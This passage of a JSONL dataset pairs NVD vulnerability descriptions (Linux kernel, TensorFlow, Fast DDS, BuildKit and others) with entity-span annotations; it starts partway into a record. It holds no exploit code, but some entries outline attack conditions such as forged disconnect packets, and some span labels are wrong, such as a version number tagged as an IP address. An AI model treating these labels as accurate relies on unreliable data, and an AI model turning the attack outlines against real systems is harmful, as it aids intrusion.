dpcm_be_dai_hw_params+0x1d0/0x3f8\n  dpcm_fe_dai_hw_params+0x98/0x268\n  snd_pcm_hw_params+0x124/0x460\n  snd_pcm_common_ioctl+0x998/0x16e8\n  snd_pcm_ioctl+0x34/0x58\n  __arm64_sys_ioctl+0xac/0xf8\n  invoke_syscall+0x48/0x104\n  el0_svc_common.constprop.0+0x40/0xe0\n  do_el0_svc+0x1c/0x28\n  el0_svc+0x34/0xe0\n  el0t_64_sync_handler+0x120/0x12c\n  el0t_64_sync+0x190/0x194\n Code: aa0403fb f9418400 9100e000 9400102f (f8420f22)\n ---[ end trace 0000000000000000 ]---\n\n0000000000006108 <sdw_stream_add_slave>:\n    6108:       d503233f        paciasp\n    610c:       a9b97bfd        stp     x29, x30, [sp, #-112]!\n    6110:       910003fd        mov     x29, sp\n    6114:       a90153f3        stp     x19, x20, [sp, #16]\n    6118:       a9025bf5        stp     x21, x22, [sp, #32]\n    611c:       aa0103f6        mov     x22, x1\n    6120:       2a0303f5        mov     w21, w3\n    6124:       a90363f7        stp     x23, x24, [sp, #48]\n    6128:       aa0003f8        mov     x24, x0\n    612c:       aa0203f7        mov     x23, x2\n    6130:       a9046bf9        stp     x25, x26, [sp, #64]\n    6134:       aa0403f9        mov     x25, x4        <-- x4 copied to x25\n    6138:       a90573fb        stp     x27, x28, [sp, #80]\n    613c:       aa0403fb        mov     x27, x4\n    6140:       f9418400        ldr     x0, [x0, #776]\n    6144:       9100e000        add     x0, x0, #0x38\n    6148:       94000000        bl      0 <mutex_lock>\n    614c:       f8420f22        ldr     x2, [x25, #32]!  <-- offset 0x44\n    ^^^\nThis is 0x6108 + offset 0x44 from the beginning of sdw_stream_add_slave()\nwhere data abort happens.\nwsa881x_hw_params() is called with stream = NULL and passes it further\nin register x4 (5th argu\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Qualcomm": [[202, 210], [387, 395]], "VULNERABILITY: NULL pointer dereference": [[482, 506]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50104"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. Missing validation between arguments to `tf.raw_ops.Conv3DBackprop*` operations can result in heap buffer overflows. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/4814fafb0ca6b5ab58a09411523b2193fed23fed/tensorflow/core/kernels/conv_grad_shape_utils.cc#L94-L153) assumes that the `input`, `filter_sizes` and `out_backprop` tensors have the same shape, as they are accessed in parallel. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/4814fafb0ca6b5ab58a09411523b2193fed23fed/tensorflow/core/kernels/conv_grad_shape_utils.cc#L94-L153": [[223, 367]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29520"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: Check the bearer type before calling tipc_udp_nl_bearer_add()\n\nsyzbot reported the following general protection fault [1]:\n\ngeneral protection fault, probably for non-canonical address 0xdffffc0000000010: 0000 [#1] PREEMPT SMP KASAN\nKASAN: null-ptr-deref in range [0x0000000000000080-0x0000000000000087]\n...\nRIP: 0010:tipc_udp_is_known_peer+0x9c/0x250 net/tipc/udp_media.c:291\n...\nCall Trace:\n <TASK>\n tipc_udp_nl_bearer_add+0x212/0x2f0 net/tipc/udp_media.c:646\n tipc_nl_bearer_add+0x21e/0x360 net/tipc/bearer.c:1089\n genl_family_rcv_msg_doit+0x1fc/0x2e0 net/netlink/genetlink.c:972\n genl_family_rcv_msg net/netlink/genetlink.c:1052 [inline]\n genl_rcv_msg+0x561/0x800 net/netlink/genetlink.c:1067\n netlink_rcv_skb+0x16b/0x440 net/netlink/af_netlink.c:2544\n genl_rcv+0x28/0x40 net/netlink/genetlink.c:1076\n netlink_unicast_kernel net/netlink/af_netlink.c:1341 [inline]\n netlink_unicast+0x53b/0x810 net/netlink/af_netlink.c:1367\n netlink_sendmsg+0x8b7/0xd70 net/netlink/af_netlink.c:1909\n sock_sendmsg_nosec net/socket.c:730 [inline]\n __sock_sendmsg+0xd5/0x180 net/socket.c:745\n ____sys_sendmsg+0x6ac/0x940 net/socket.c:2584\n ___sys_sendmsg+0x135/0x1d0 net/socket.c:2638\n __sys_sendmsg+0x117/0x1e0 net/socket.c:2667\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0x40/0x110 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x63/0x6b\n\nThe cause of this issue is that when tipc_nl_bearer_add() is called with\nthe TIPC_NLA_BEARER_UDP_OPTS attribute, tipc_udp_nl_bearer_add() is called\neven if the bearer is not UDP.\n\ntipc_udp_is_known_peer() called by tipc_udp_nl_bearer_add() assumes that\nthe media_ptr field of the tipc_bearer has an udp_bearer type object, so\nthe function goes crazy for non-UDP bearers.\n\nThis patch fixes the issue by checking the bearer type before calling\ntipc_udp_nl_bearer_add() in tipc_nl_bearer_add().", "spans": {"FILEPATH: /tipc/udp_media.c": [[430, 447], [515, 532]], "FILEPATH: /tipc/bearer.c": [[572, 586]], "FILEPATH: /netlink/genetlink.c": [[633, 653], [682, 702], [746, 766], [854, 874]], "FILEPATH: /netlink/af_netlink.c": [[804, 825], [907, 928], [975, 996], [1034, 1055]], "FILEPATH: /x86/entry/common.c": [[1309, 1328], [1371, 1390]], "FILEPATH: socket.c": [[1085, 1093], [1138, 1146], [1184, 1192], [1230, 1238], [1275, 1283]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26663"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PhantomPDF 9.7.1.29511. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of U3D objects in PDF files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-10192.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10896"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: check attribute length for bearer name\n\nsyzbot reported uninit-value:\n=====================================================\nBUG: KMSAN: uninit-value in string_nocheck lib/vsprintf.c:644 [inline]\nBUG: KMSAN: uninit-value in string+0x4f9/0x6f0 lib/vsprintf.c:725\n string_nocheck lib/vsprintf.c:644 [inline]\n string+0x4f9/0x6f0 lib/vsprintf.c:725\n vsnprintf+0x2222/0x3650 lib/vsprintf.c:2806\n vprintk_store+0x537/0x2150 kernel/printk/printk.c:2158\n vprintk_emit+0x28b/0xab0 kernel/printk/printk.c:2256\n vprintk_default+0x86/0xa0 kernel/printk/printk.c:2283\n vprintk+0x15f/0x180 kernel/printk/printk_safe.c:50\n _printk+0x18d/0x1cf kernel/printk/printk.c:2293\n tipc_enable_bearer net/tipc/bearer.c:371 [inline]\n __tipc_nl_bearer_enable+0x2022/0x22a0 net/tipc/bearer.c:1033\n tipc_nl_bearer_enable+0x6c/0xb0 net/tipc/bearer.c:1042\n genl_family_rcv_msg_doit net/netlink/genetlink.c:731 [inline]\n\n- Do sanity check the attribute length for TIPC_NLA_BEARER_NAME.\n- Do not use 'illegal name' in printing message.", "spans": {"FILEPATH: /printk/printk.c": [[498, 514], [552, 568], [607, 623], [708, 724]], "FILEPATH: /printk/printk_safe.c": [[656, 677]], "FILEPATH: /tipc/bearer.c": [[753, 767], [823, 837], [879, 893]], "FILEPATH: /netlink/genetlink.c": [[928, 948]], "FILEPATH: vsprintf.c": [[246, 256], [321, 331], [356, 366], [404, 414], [448, 458]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49374"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can craft a TFLite model that would trigger a division by zero error in LSH [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/lsh_projection.cc#L118). We have patched the issue in GitHub commit 0575b640091680cfb70f4dd93e70658de43b94f9. The fix will be included in TensorFlow 2.6.0. We will also cherrypick thiscommit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/lsh_projection.cc#L118": [[197, 330]], "HASH: 0575b640091680cfb70f4dd93e70658de43b94f9": [[376, 416]], "ORGANIZATION: GitHub": [[362, 368]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37691"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Mark raw_tp arguments with PTR_MAYBE_NULL\n\nArguments to a raw tracepoint are tagged as trusted, which carries the\nsemantics that the pointer will be non-NULL.  However, in certain cases,\na raw tracepoint argument may end up being NULL. More context about this\nissue is available in [0].\n\nThus, there is a discrepancy between the reality, that raw_tp arguments\ncan actually be NULL, and the verifier's knowledge, that they are never\nNULL, causing explicit NULL checks to be deleted, and accesses to such\npointers potentially crashing the kernel.\n\nTo fix this, mark raw_tp arguments as PTR_MAYBE_NULL, and then special\ncase the dereference and pointer arithmetic to permit it, and allow\npassing them into helpers/kfuncs; these exceptions are made for raw_tp\nprograms only. Ensure that we don't do this when ref_obj_id > 0, as in\nthat case this is an acquired object and doesn't need such adjustment.\n\nThe reason we do mask_raw_tp_trusted_reg logic is because other will\nrecheck in places whether the register is a trusted_reg, and then\nconsider our register as untrusted when detecting the presence of the\nPTR_MAYBE_NULL flag.\n\nTo allow safe dereference, we enable PROBE_MEM marking when we see loads\ninto trusted pointers with PTR_MAYBE_NULL.\n\nWhile trusted raw_tp arguments can also be passed into helpers or kfuncs\nwhere such broken assumption may cause issues, a future patch set will\ntackle their case separately, as PTR_TO_BTF_ID (without PTR_TRUSTED) can\nalready be passed into helpers and causes similar problems. Thus, they\nare left alone for now.\n\nIt is possible that these checks also permit passing non-raw_tp args\nthat are trusted PTR_TO_BTF_ID with null marking. In such a case,\nallowing dereference when pointer is NULL expands allowed behavior, so\nwon't regress existing programs, and the case of passing these into\nhelpers is the same as above and will be dealt with later.\n\nAlso update the failure case in tp_btf_nullable selftest to capture the\nnew behavior, as the verifier will no longer cause an error when\ndirectly dereference a raw tracepoint argument marked as __nullable.\n\n  [0]: https://lore.kernel.org/bpf/ZrCZS6nisraEqehw@jlelli-thinkpadt14gen4.remote.csb", "spans": {"URL: https://lore.kernel.org/bpf/ZrCZS6nisraEqehw@jlelli-thinkpadt14gen4.remote.csb": [[2178, 2256]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56702"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nlandlock: Fix handling of disconnected directories\n\nDisconnected files or directories can appear when they are visible and\nopened from a bind mount, but have been renamed or moved from the source\nof the bind mount in a way that makes them inaccessible from the mount\npoint (i.e. out of scope).\n\nPreviously, access rights tied to files or directories opened through a\ndisconnected directory were collected by walking the related hierarchy\ndown to the root of the filesystem, without taking into account the\nmount point because it couldn't be found. This could lead to\ninconsistent access results, potential access right widening, and\nhard-to-debug renames, especially since such paths cannot be printed.\n\nFor a sandboxed task to create a disconnected directory, it needs to\nhave write access (i.e. FS_MAKE_REG, FS_REMOVE_FILE, and FS_REFER) to\nthe underlying source of the bind mount, and read access to the related\nmount point.   Because a sandboxed task cannot acquire more access\nrights than those defined by its Landlock domain, this could lead to\ninconsistent access rights due to missing permissions that should be\ninherited from the mount point hierarchy, while inheriting permissions\nfrom the filesystem hierarchy hidden by this mount point instead.\n\nLandlock now handles files and directories opened from disconnected\ndirectories by taking into account the filesystem hierarchy when the\nmount point is not found in the hierarchy walk, and also always taking\ninto account the mount point from which these disconnected directories\nwere opened.  This ensures that a rename is not allowed if it would\nwiden access rights [1].\n\nThe rationale is that, even if disconnected hierarchies might not be\nvisible or accessible to a sandboxed task, relying on the collected\naccess rights from them improves the guarantee that access rights will\nnot be widened during a rename because of the access right comparison\nbetween the source and the destination (see LANDLOCK_ACCESS_FS_REFER).\nIt may look like this would grant more access on disconnected files and\ndirectories, but the security policies are always enforced for all the\nevaluated hierarchies.  This new behavior should be less surprising to\nusers and safer from an access control perspective.\n\nRemove a wrong WARN_ON_ONCE() canary in collect_domain_accesses() and\nfix the related comment.\n\nBecause opened files have their access rights stored in the related file\nsecurity properties, there is no impact for disconnected or unlinked\nfiles.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68736"}}
{"text": "TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to `lax` or `none`. The vulnerability in the affected downstream component “DB Check Module” allows attackers to manipulate data through unauthorized actions. Users are advised to update to TYPO3 versions 11.5.42 ELTS which fixes the problem described. There are no known workarounds for this issue.", "spans": {"VULNERABILITY: Cross-Site Request Forgery": [[215, 241]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-55945"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/pseries/iommu: DLPAR add doesn't completely initialize pci_controller\n\nWhen a PCI device is dynamically added, the kernel oopses with a NULL\npointer dereference:\n\n  BUG: Kernel NULL pointer dereference on read at 0x00000030\n  Faulting instruction address: 0xc0000000006bbe5c\n  Oops: Kernel access of bad area, sig: 11 [#1]\n  LE PAGE_SIZE=64K MMU=Radix SMP NR_CPUS=2048 NUMA pSeries\n  Modules linked in: rpadlpar_io rpaphp rpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver nfs lockd grace fscache netfs xsk_diag bonding nft_compat nf_tables nfnetlink rfkill binfmt_misc dm_multipath rpcrdma sunrpc rdma_ucm ib_srpt ib_isert iscsi_target_mod target_core_mod ib_umad ib_iser libiscsi scsi_transport_iscsi ib_ipoib rdma_cm iw_cm ib_cm mlx5_ib ib_uverbs ib_core pseries_rng drm drm_panel_orientation_quirks xfs libcrc32c mlx5_core mlxfw sd_mod t10_pi sg tls ibmvscsi ibmveth scsi_transport_srp vmx_crypto pseries_wdt psample dm_mirror dm_region_hash dm_log dm_mod fuse\n  CPU: 17 PID: 2685 Comm: drmgr Not tainted 6.7.0-203405+ #66\n  Hardware name: IBM,9080-HEX POWER10 (raw) 0x800200 0xf000006 of:IBM,FW1060.00 (NH1060_008) hv:phyp pSeries\n  NIP:  c0000000006bbe5c LR: c000000000a13e68 CTR: c0000000000579f8\n  REGS: c00000009924f240 TRAP: 0300   Not tainted  (6.7.0-203405+)\n  MSR:  8000000000009033 <SF,EE,ME,IR,DR,RI,LE>  CR: 24002220  XER: 20040006\n  CFAR: c000000000a13e64 DAR: 0000000000000030 DSISR: 40000000 IRQMASK: 0\n  ...\n  NIP sysfs_add_link_to_group+0x34/0x94\n  LR  iommu_device_link+0x5c/0x118\n  Call Trace:\n   iommu_init_device+0x26c/0x318 (unreliable)\n   iommu_device_link+0x5c/0x118\n   iommu_init_device+0xa8/0x318\n   iommu_probe_device+0xc0/0x134\n   iommu_bus_notifier+0x44/0x104\n   notifier_call_chain+0xb8/0x19c\n   blocking_notifier_call_chain+0x64/0x98\n   bus_notify+0x50/0x7c\n   device_add+0x640/0x918\n   pci_device_add+0x23c/0x298\n   of_create_pci_dev+0x400/0x884\n   of_scan_pci_dev+0x124/0x1b0\n   __of_scan_bus+0x78/0x18c\n   pcibios_scan_phb+0x2a4/0x3b0\n   init_phb_dynamic+0xb8/0x110\n   dlpar_add_slot+0x170/0x3b8 [rpadlpar_io]\n   add_slot_store.part.0+0xb4/0x130 [rpadlpar_io]\n   kobj_attr_store+0x2c/0x48\n   sysfs_kf_write+0x64/0x78\n   kernfs_fop_write_iter+0x1b0/0x290\n   vfs_write+0x350/0x4a0\n   ksys_write+0x84/0x140\n   system_call_exception+0x124/0x330\n   system_call_vectored_common+0x15c/0x2ec\n\nCommit a940904443e4 (\"powerpc/iommu: Add iommu_ops to report capabilities\nand allow blocking domains\") broke DLPAR add of PCI devices.\n\nThe above added iommu_device structure to pci_controller. During\nsystem boot, PCI devices are discovered and this newly added iommu_device\nstructure is initialized by a call to iommu_device_register().\n\nDuring DLPAR add of a PCI device, a new pci_controller structure is\nallocated but there are no calls made to iommu_device_register()\ninterface.\n\nFix is to register the iommu device during DLPAR add as well.", "spans": {"FILEPATH: /pseries/iommu": [[76, 90]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[1117, 1120], [1166, 1169]], "VULNERABILITY: NULL pointer dereference": [[254, 278]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26738"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvdpa_sim: fix possible memory leak in vdpasim_net_init() and vdpasim_blk_init()\n\nInject fault while probing module, if device_register() fails in\nvdpasim_net_init() or vdpasim_blk_init(), but the refcount of kobject is\nnot decreased to 0, the name allocated in dev_set_name() is leaked.\nFix this by calling put_device(), so that name can be freed in\ncallback function kobject_cleanup().\n\n(vdpa_sim_net)\nunreferenced object 0xffff88807eebc370 (size 16):\n  comm \"modprobe\", pid 3848, jiffies 4362982860 (age 18.153s)\n  hex dump (first 16 bytes):\n    76 64 70 61 73 69 6d 5f 6e 65 74 00 6b 6b 6b a5  vdpasim_net.kkk.\n  backtrace:\n    [<ffffffff8174f19e>] __kmalloc_node_track_caller+0x4e/0x150\n    [<ffffffff81731d53>] kstrdup+0x33/0x60\n    [<ffffffff83a5d421>] kobject_set_name_vargs+0x41/0x110\n    [<ffffffff82d87aab>] dev_set_name+0xab/0xe0\n    [<ffffffff82d91a23>] device_add+0xe3/0x1a80\n    [<ffffffffa0270013>] 0xffffffffa0270013\n    [<ffffffff81001c27>] do_one_initcall+0x87/0x2e0\n    [<ffffffff813739cb>] do_init_module+0x1ab/0x640\n    [<ffffffff81379d20>] load_module+0x5d00/0x77f0\n    [<ffffffff8137bc40>] __do_sys_finit_module+0x110/0x1b0\n    [<ffffffff83c4d505>] do_syscall_64+0x35/0x80\n    [<ffffffff83e0006a>] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\n(vdpa_sim_blk)\nunreferenced object 0xffff8881070c1250 (size 16):\n  comm \"modprobe\", pid 6844, jiffies 4364069319 (age 17.572s)\n  hex dump (first 16 bytes):\n    76 64 70 61 73 69 6d 5f 62 6c 6b 00 6b 6b 6b a5  vdpasim_blk.kkk.\n  backtrace:\n    [<ffffffff8174f19e>] __kmalloc_node_track_caller+0x4e/0x150\n    [<ffffffff81731d53>] kstrdup+0x33/0x60\n    [<ffffffff83a5d421>] kobject_set_name_vargs+0x41/0x110\n    [<ffffffff82d87aab>] dev_set_name+0xab/0xe0\n    [<ffffffff82d91a23>] device_add+0xe3/0x1a80\n    [<ffffffffa0220013>] 0xffffffffa0220013\n    [<ffffffff81001c27>] do_one_initcall+0x87/0x2e0\n    [<ffffffff813739cb>] do_init_module+0x1ab/0x640\n    [<ffffffff81379d20>] load_module+0x5d00/0x77f0\n    [<ffffffff8137bc40>] __do_sys_finit_module+0x110/0x1b0\n    [<ffffffff83c4d505>] do_syscall_64+0x35/0x80\n    [<ffffffff83e0006a>] entry_SYSCALL_64_after_hwframe+0x46/0xb0", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[92, 103]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50702"}}
{"text": "eProsima Fast DDS (formerly Fast RTPS) is a C++ implementation of the Data Distribution Service standard of the Object Management Group. Even with the application of SROS2, due to the issue where the data (`p[UD]`) and `guid` values used to disconnect between nodes are not encrypted, a vulnerability has been discovered where a malicious attacker can forcibly disconnect a Subscriber and can deny a Subscriber attempting to connect. Afterwards, if the attacker sends the packet for disconnecting, which is data (`p[UD]`), to the Global Data Space (`239.255.0.1:7400`) using the said Publisher ID, all the Subscribers (Listeners) connected to the Publisher (Talker) will not receive any data and their connection will be disconnected. Moreover, if this disconnection packet is sent continuously, the Subscribers (Listeners) trying to connect will not be able to do so. Since the initial commit of the `SecurityManager.cpp` code (`init`, `on_process_handshake`) on Nov 8, 2016, the Disconnect Vulnerability in RTPS Packets Used by SROS2 has been present prior to versions 2.13.0, 2.12.2, 2.11.3, 2.10.3, and 2.6.7.", "spans": {"IP_ADDRESS: 239.255.0.1": [[550, 561]], "FILEPATH: SecurityManager.cpp": [[902, 921]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-50257"}}
{"text": "Apprise is an open source library which allows you to send a notification to almost all of the most popular notification services available. In affected versions users who use Apprise granting them access to the IFTTT plugin (which just comes out of the box) are subject to a denial of service attack on an inefficient regular expression. The vulnerable regular expression is [here](https://github.com/caronc/apprise/blob/0007eade20934ddef0aba38b8f1aad980cfff253/apprise/plugins/NotifyIFTTT.py#L356-L359). The problem has been patched in release version 0.9.5.1. Users who are unable to upgrade are advised to remove `apprise/plugins/NotifyIFTTT.py` to eliminate the service.", "spans": {"IP_ADDRESS: 0.9.5.1": [[554, 561]], "URL: https://github.com/caronc/apprise/blob/0007eade20934ddef0aba38b8f1aad980cfff253/apprise/plugins/NotifyIFTTT.py#L356-L359": [[383, 503]], "FILEPATH: /plugins/NotifyIFTTT.py": [[625, 648]], "VULNERABILITY: denial of service": [[276, 293]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-39229"}}
{"text": "BuildKit is a toolkit for converting source code to build artifacts in an efficient, expressive and repeatable manner. In affected versions when the user sends a build request that contains a Git URL that contains credentials and the build creates a provenance attestation describing that build, these credentials could be visible from the provenance attestation. Git URL can be passed in two ways: 1) Invoking build directly from a URL with credentials. 2) If the client sends additional version control system (VCS) info hint parameters on builds from a local source. Usually, that would mean reading the origin URL from `.git/config` file. When a build is performed under specific conditions where credentials were passed to BuildKit they may be visible to everyone who has access to provenance attestation. Provenance attestations and VCS info hints were added in version v0.11.0. Previous versions are not vulnerable. In v0.10, when building directly from Git URL, the same URL could be visible in `BuildInfo` structure that is a predecessor of Provenance attestations. Previous versions are not vulnerable. This bug has been fixed in v0.11.4. Users are advised to upgrade. Users unable to upgrade may disable VCS info hints by setting `BUILDX_GIT_INFO=0`. `buildctl` does not set VCS hints based on `.git` directory, and values would need to be passed manually with `--opt`.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-26054"}}
{"text": "Vulnerability in the Oracle CRM Technical Foundation product of Oracle E-Business Suite (component: Preferences). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle CRM Technical Foundation. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle CRM Technical Foundation, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle CRM Technical Foundation accessible data. CVSS 3.1 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [64, 70], [289, 295], [439, 445], [637, 643]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14659"}}
{"text": "A weakness has been identified in La Nacion App 10.2.25 on Android. This impacts an unknown function of the file source/app/lanacion/clublanacion/BuildConfig.java of the component app.lanacion.activity. Executing a manipulation of the argument API_KEY_WEBSOCKET_CV can lead to unprotected storage of credentials. The attack can only be executed locally. A high complexity level is associated with this attack. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.", "spans": {"FILEPATH: /app/lanacion/clublanacion/BuildConfig.java": [[119, 162]], "SYSTEM: Android": [[59, 66]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-4243"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: flower: fix filter idr initialization\n\nThe cited commit moved idr initialization too early in fl_change() which\nallows concurrent users to access the filter that is still being\ninitialized and is in inconsistent state, which, in turn, can cause NULL\npointer dereference [0]. Since there is no obvious way to fix the ordering\nwithout reverting the whole cited commit, alternative approach taken to\nfirst insert NULL pointer into idr in order to allocate the handle but\nstill cause fl_get() to return NULL and prevent concurrent users from\nseeing the filter while providing miss-to-action infrastructure with valid\nhandle id early in fl_change().\n\n[  152.434728] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN\n[  152.436163] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\n[  152.437269] CPU: 4 PID: 3877 Comm: tc Not tainted 6.3.0-rc4+ #5\n[  152.438110] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n[  152.439644] RIP: 0010:fl_dump_key+0x8b/0x1d10 [cls_flower]\n[  152.440461] Code: 01 f2 02 f2 c7 40 08 04 f2 04 f2 c7 40 0c 04 f3 f3 f3 65 48 8b 04 25 28 00 00 00 48 89 84 24 00 01 00 00 48 89 c8 48 c1 e8 03 <0f> b6 04 10 84 c0 74 08 3c 03 0f 8e 98 19 00 00 8b 13 85 d2 74 57\n[  152.442885] RSP: 0018:ffff88817a28f158 EFLAGS: 00010246\n[  152.443851] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000\n[  152.444826] RDX: dffffc0000000000 RSI: ffffffff8500ae80 RDI: ffff88810a987900\n[  152.445791] RBP: ffff888179d88240 R08: ffff888179d8845c R09: ffff888179d88240\n[  152.446780] R10: ffffed102f451e48 R11: 00000000fffffff2 R12: ffff88810a987900\n[  152.447741] R13: ffffffff8500ae80 R14: ffff88810a987900 R15: ffff888149b3c738\n[  152.448756] FS:  00007f5eb2a34800(0000) GS:ffff88881ec00000(0000) knlGS:0000000000000000\n[  152.449888] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  152.450685] CR2: 000000000046ad19 CR3: 000000010b0bd006 CR4: 0000000000370ea0\n[  152.451641] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[  152.452628] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[  152.453588] Call Trace:\n[  152.454032]  <TASK>\n[  152.454447]  ? netlink_sendmsg+0x7a1/0xcb0\n[  152.455109]  ? sock_sendmsg+0xc5/0x190\n[  152.455689]  ? ____sys_sendmsg+0x535/0x6b0\n[  152.456320]  ? ___sys_sendmsg+0xeb/0x170\n[  152.456916]  ? do_syscall_64+0x3d/0x90\n[  152.457529]  ? entry_SYSCALL_64_after_hwframe+0x46/0xb0\n[  152.458321]  ? ___sys_sendmsg+0xeb/0x170\n[  152.458958]  ? __sys_sendmsg+0xb5/0x140\n[  152.459564]  ? do_syscall_64+0x3d/0x90\n[  152.460122]  ? entry_SYSCALL_64_after_hwframe+0x46/0xb0\n[  152.460852]  ? fl_dump_key_options.part.0+0xea0/0xea0 [cls_flower]\n[  152.461710]  ? _raw_spin_lock+0x7a/0xd0\n[  152.462299]  ? _raw_read_lock_irq+0x30/0x30\n[  152.462924]  ? nla_put+0x15e/0x1c0\n[  152.463480]  fl_dump+0x228/0x650 [cls_flower]\n[  152.464112]  ? fl_tmplt_dump+0x210/0x210 [cls_flower]\n[  152.464854]  ? __kmem_cache_alloc_node+0x1a7/0x330\n[  152.465592]  ? nla_put+0x15e/0x1c0\n[  152.466160]  tcf_fill_node+0x515/0x9a0\n[  152.466766]  ? tc_setup_offload_action+0xf0/0xf0\n[  152.467463]  ? __alloc_skb+0x13c/0x2a0\n[  152.468067]  ? __build_skb_around+0x330/0x330\n[  152.468814]  ? fl_get+0x107/0x1a0 [cls_flower]\n[  152.469503]  tc_del_tfilter+0x718/0x1330\n[  152.470115]  ? is_bpf_text_address+0xa/0x20\n[  152.470765]  ? tc_ctl_chain+0xee0/0xee0\n[  152.471335]  ? __kernel_text_address+0xe/0x30\n[  152.471948]  ? unwind_get_return_address+0x56/0xa0\n[  152.472639]  ? __thaw_task+0x150/0x150\n[  152.473218]  ? arch_stack_walk+0x98/0xf0\n[  152.473839]  ? __stack_depot_save+0x35/0x4c0\n[  152.474501]  ? stack_trace_save+0x91/0xc0\n[  152.475119]  ? security_capable+0x51/0x90\n[  152.475741]  rtnetlink_rcv_msg+0x2c1/0x9d0\n[  152.476387]  ? rtnl_calcit.isra.0+0x2b0/0x2b0\n[  152.477042]\n---truncated---", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[1067, 1111]], "FILEPATH: /01/2014": [[1114, 1122]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1025, 1029]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54206"}}
